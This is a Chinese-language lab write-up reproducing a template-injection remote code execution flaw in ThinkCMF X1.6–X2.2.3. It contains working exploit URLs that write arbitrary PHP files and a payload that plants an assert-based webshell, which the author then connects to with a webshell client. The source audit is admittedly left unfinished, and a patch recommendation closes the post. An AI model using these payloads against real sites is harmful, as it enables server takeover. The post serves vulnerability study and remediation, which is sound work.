1.漏洞概述

攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的

2.影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1(我用的是这个)
ThinkCMF X2.2.2
ThinkCMF X2.2.3

3.安装

赋予权限

4.安装系统

安装成功进入主页

  • Poc
/?a=display&templateFile=README.md

/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>
  • 测试

Poc1:

http://192.168.2.135/thinkcmf-X2.2.1//?a=display&templateFile=README.md

POC2:

http://192.168.2.135/thinkcmf-X2.2.1/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>

查看info.php

没有写入成功,干脆看看源代码吧

这里提出了错误信息意思是,没有写入权限

[2] file_put_contents(info.php): failed to open stream: Permission denied /var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal/''2539f066e2972ad12f670857ed0f6b3d.php 第 1 行.

  1. 简单审计

在这个目录下面/var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal

生成了一个临时文件

打开查看

<?php if (!defined('THINK_PATH')) exit(); file_put_contents('info.php','<?php phpinfo();?>');?>

后面检查了一下发现是权限分发的问题

切换到cms目录下赋予所有文件可读可写可执行权限

chmod –R 777 *

 重新执行POC2

可以看到已经写入成功,这里执行了phpinfo

  • 提权操作

Payload:

/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('shell.php','<?php $a="assert";$a($_POST[123]);?>');?>

前面既然可以写入phpinfo,自然也可以写入恶意代码

没有显示错误,代表写入成功,访问一下,并连接一下试试

 手动连接

列出文件(assert好像手工不太好使,emmmm)

还是上菜刀

  • 源代码审计

通过index.php可以发现,项目入口是application/,切换目录过去

根据poc盲猜控制器IndexController.class.php

空荡荡的,就一个index方法,这里继承的是父类HomebaseController,切出去看看作为程序入口,使用public是比较危险的,public是公有方法任何人都可以调用,并且这里是可以操控的,因此这里可能就是一个漏洞点(修补的话,把public改为protected)

路径找到了,/application/Common/Controller/

直接搜索fecth 获取输出页面内容

调用内置的模板引擎fetch方法,

@access protected

@param string $templateFile 指定要调用的模板文件

默认为空 由系统自动定位模板文件

@param string $content 模板输出内容

@param string $prefix 模板缓存前缀*

@return string

值得关注的是125行这里

125          */

126         public function fetch($templateFile='',$content='',$prefix=''){

127             $templateFile = empty($content)?$this->parseTemplate($templateFile):'';

128                 return parent::fetch($templateFile,$content,$prefix);

129         }

这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀,而fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

分析不下去(分析失败。。。。)

  • 修复方案

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected

参考文章:

https://xz.aliyun.com/t/6626#toc-5

https://blog.riskivy.com/thinkcmf-%E6%A1%86%E6%9E%B6%E4%B8%8A%E7%9A%84%E4%BB%BB%E6%84%8F%E5%86%85%E5%AE%B9%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/?from=timeline&isappinstalled=0

01-04 16:31
查看更多